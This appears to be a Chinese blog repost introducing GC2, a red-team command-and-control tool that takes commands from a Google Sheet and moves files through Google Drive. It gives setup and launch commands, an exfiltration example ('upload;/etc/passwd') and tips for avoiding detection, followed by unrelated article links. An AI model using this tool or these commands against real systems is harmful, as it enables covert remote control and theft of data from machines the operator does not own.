GC2是什么工具

news2025/1/12 16:04:05

GC2是一款功能强大的命令控制应用工具,该工具将允许广大安全研究人员或渗透测试人员使用Google Sheet来在目标设备上执行远程控制命令,并使用Google Drive来提取目标设备中的敏感数据。

值得一提的是,该工具可以直接提供命令控制服务,而无需进行其他额外的安装和配置,因此可以大大提高红队渗透活动的效率。除此之外,这款工具只能跟Google的域名(*.http://google.com)交互,因此也增加了检测GC2的难度。

请注意:千万不要将已编译好的代码上传到VirusTotal上!

功能介绍

使用Google Sheet作为终端窗口来实现命令控制与命令执行。

使用Google Drive向目标主机传输和下载文件。

使用Google Drive从目标主机中提取数据。

退出执行。

工具运行流程

 

工具安装&配置

第一步:使用下列命令将该项目源码克隆至本地,然后构建项目代码:

git clone https://github.com/looCiprian/GC2-sheet

cd GC2-sheet

go build gc2-sheet.go

第二步:创建一个新的Google “服务账号”,此时我们需要点击https://console.cloud.google.com/来创建该服务账号所需的.json密钥文件。

第三步:启用Google Sheet API和Google Drive API。

第四步:配置Google Sheet和Google Drive。创建一个新的Google Sheet,并添加服务账号至spreadsheet的Editor组:

 

创建一个新的Google Drive文件夹,并将服务账号添加进这个文件夹的Editor组中:

 

IT问答库icon-default.png?t=M85Bhttp://www.mobiletrain.org/qa/

第五步:使用下列命令启动GC2:

gc2-sheet --key <GCP service account credential file .JSON > --sheet <Google sheet ID> --drive <Google drive ID>

注意事项:你可以将参数以硬编码的形式写入进代码中,并只将可执行程序上传至目标设备上。

工具使用

命令执行

GC2每五秒会向spreadsheet发送一次请求,并检查是否存在未执行的新命令。命令必须插入值请求中的“A”字段记录中,而命令输出结果将存储在“B”字段中。

数据提取

我们可以使用指定的命令来在目标设备上执行文件上传或下载任务:

From Target to Google Drive

 upload;<remote path>

 Example:

 upload;/etc/passwd

下载文件

我们可以使用指定的命令来在目标设备上执行文件上传或下载任务:

From Google Drive to Target

 download;<google drive file id>;<remote path>

Example:

 download;<file ID>;/home/user/downloaded.txt

退出执行

通过发送“exit”命令,GC2将会从目标设备上远程删除自身代码,并终止自身进程的运行。注意,如果开启进程时使用了符号链接,那么命令执行结果可能会是符号链接或路径所指向的目标,从而导致删除错误的目标。

IT问答库icon-default.png?t=M85Bhttp://www.mobiletrain.org/qa/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/45450.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]计算机毕业设计springboot高校社团管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

功率放大器的类型和特点是什么(功率放大器使用注意事项有哪些)

放大器一般泛指放大某物的装置&#xff0c;应用在音频、电子等领域。在包括音频功率放大器在内的电路里&#xff0c;各种信号都可以是电信号来进行交换。功率放大器主要是放大电路中流动信号&#xff0c;可以放大输入的电压或者电流。它的作用是放大各种传感器输出电信号&#…

架设好传奇登录器显示无法连接服务器,完美登录器使用常见问题解决办法

中国传奇网已经更新好了完美登陆器&#xff0c;已经可以下载了&#xff0c;完美登陆器是一款完全免费无限制的登陆器。在这里站长也推荐大家使用这个传奇登陆器。毕竟是免费的。 一.登录器域名绑定,生成登录器等问题解决办法! 问1.完美登录器绑定域名还是绑定服务器等&#xf…

数字孪生技术栈的应用场景的优点

技术栈是一个IT术语&#xff0c;本意是指某项工作需要掌握的一系列技能组合的统称。那么对于如今炙手可热的数字孪生技术而言&#xff0c;数字孪生技术栈都会包括哪些底层技能&#xff1f;它又是如何构成和运行的呢&#xff1f; 北京智汇云舟科技有限公司成立于2012年&#xff…

太卷了,这份Java性能调优手册仅上线1小时,竟被恶意封杀下架

在各大厂的面试中&#xff0c;性能优化的问题肯定不会缺席&#xff0c;这足以说明其重要性。今天给大家带来的便是由资深程序员葛一鸣老师写的《Java程序性能优化实战》&#xff0c;同样是没有开源版本&#xff0c;我会将领取方式放在文末 Java程序性能优化实战 我看过几篇讲…

[附源码]Python计算机毕业设计Django仓库管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

Rockwell EDI 855 采购订单确认报文详解

罗克韦尔自动化与国内12 家授权分销商&#xff0c;124 家认可的系统集成商&#xff0c;30多家亚太区的Encompass战略合作伙伴和全球战略联盟&#xff0c;共同为制造业企业提供广泛的世界一流的产品、解决方案与服务支持。 近期我们帮助客户成功与罗克韦尔Rockwell建立EDI连接&a…

自建云服务计费系统

自从Laxcus分布式操作系统正式开源两个月以来&#xff0c;可能是它一站式云计算平台属性和超大规模计算能力&#xff0c;给用户带来极大的便利&#xff0c;下载量一直持续增加&#xff0c;最近网站后台总是有用户在问&#xff0c;在Laxcus分布式操作系统的社区版本基础上&#…

地级市-空气流动系数数据-更新至2019(含10米风速、边界高度等)

1、数据来源&#xff1a;参考论文计算&#xff0c;详情请见指标说明 2、时间跨度&#xff1a;2000-2019年 3、区域范围&#xff1a;全国所有地级市 4、指标说明&#xff1a; 空气流动系数数据为环境经济学常用工具变量&#xff01; 数据为复旦大学陈诗一和陈登科教授&…

vite+ts-4-ORM框架sequelize实现mysql操作

random recording 随心记录 What seems to us as bitter trials are often blessings in disguise. 看起来对我们痛苦的试炼&#xff0c;常常是伪装起来的好运。 使用ORM框架sequelize完成Mysql数据库操作 使用ts实现mysql配置/泛型重载 配置接口实现 创建src/config/DbConf…

【SQL Server + MySQL三】数据库设计【ER模型+UML模型+范式】 + 数据库安全性

极其感动&#xff01;&#xff01;&#xff01;当时学数据库的时候&#xff0c;没白学&#xff01;&#xff01; 时隔很长时间回去看数据库的笔记都能看懂&#xff0c;每次都靠这份笔记巩固真的是语雀分享要花钱&#xff0c;要不一定把笔记给贴出来(;༎ຶД༎ຶ) &#xff0c;除…

SFTP的基本定义、用途以及基本优势有哪些

文件传输协议允许用户通过Internet在远程系统之间传输数据。SFTP 就是这样一种协议&#xff0c;它为用户提供了一种安全的方式来发送和接收文件和文件夹&#xff0c;目前少数虚拟主机提供商会提供这项服务。本文将介绍SFTP的基本定义、用途和数据安全方面的优势。 SFTP(Secure …

[附源码]Python计算机毕业设计Django春晓学堂管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

[附源码]计算机毕业设计springboot海南琼旅旅游网

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

基于SSM的医院医疗管理系统的设计与实现

项目描述 临近学期结束&#xff0c;还是毕业设计&#xff0c;你还在做java程序网络编程&#xff0c;期末作业&#xff0c;老师的作业要求觉得大了吗?不知道毕业设计该怎么办?网页功能的数量是否太多?没有合适的类型或系统?等等。这里根据疫情当下&#xff0c;你想解决的问…

【毕业设计】23-基于单片机的自动避障机器人设计(原理图+源代码+仿真+论文+答辩PPT)

【毕业设计】23-基于单片机的自动避障机器人设计&#xff08;原理图源代码仿真论文答辩PPT&#xff09; 文章目录【毕业设计】23-基于单片机的自动避障机器人设计&#xff08;原理图源代码仿真论文答辩PPT&#xff09;任务书设计说明书摘要设计框架架构设计说明书及设计文件源码…

mysql基础知识篇(一)

1. 什么是内连接、外连接、交叉连接、笛卡尔积呢&#xff1f; 内连接&#xff08;inner join&#xff09;&#xff1a;取得两张表中满足存在连接匹配关系的记录。 外连接&#xff08;outer join&#xff09;&#xff1a;不只取得两张表中满足存在连接匹配关系的记录&#xff0…

httplib库的安装以及使用

目录 安装httplib库 认识httplib库 httplib请求类 httplib响应类 httplib中的Server类 httplib的client类 httplib库搭建简单的服务器 httplib库搭建简单的客户端 安装httplib库 1.进入github,搜索httplib库 2.下载库 3.下载完毕将库的压缩包传输到linux系统下 4…

软件测试概念

目录 基础概念 1、软件测试的概念 2、软件测试的目的 3、基本要求 4、测试的工作流程 5、开发模型 1、瀑布模型 2、增量模型 3、快速模型 4、螺旋开发模型 5、迭代开发模型 6、敏捷开发模型 6、测试模型 1、V模型 2、W模型 7、软件测试的分类 1、测试开发的阶…

css设置渐变边框色

如上图所示&#xff0c;需设置渐变边框色&#xff0c;左右边框颜色固定&#xff0c;上边框从左到右开始渐变&#xff0c;下边框从右到左开始渐变。 思考了很久&#xff0c;如果看作是一个div&#xff0c;则需要用到 border-image属性设置渐变色。也可以看作是两个div&#xff0…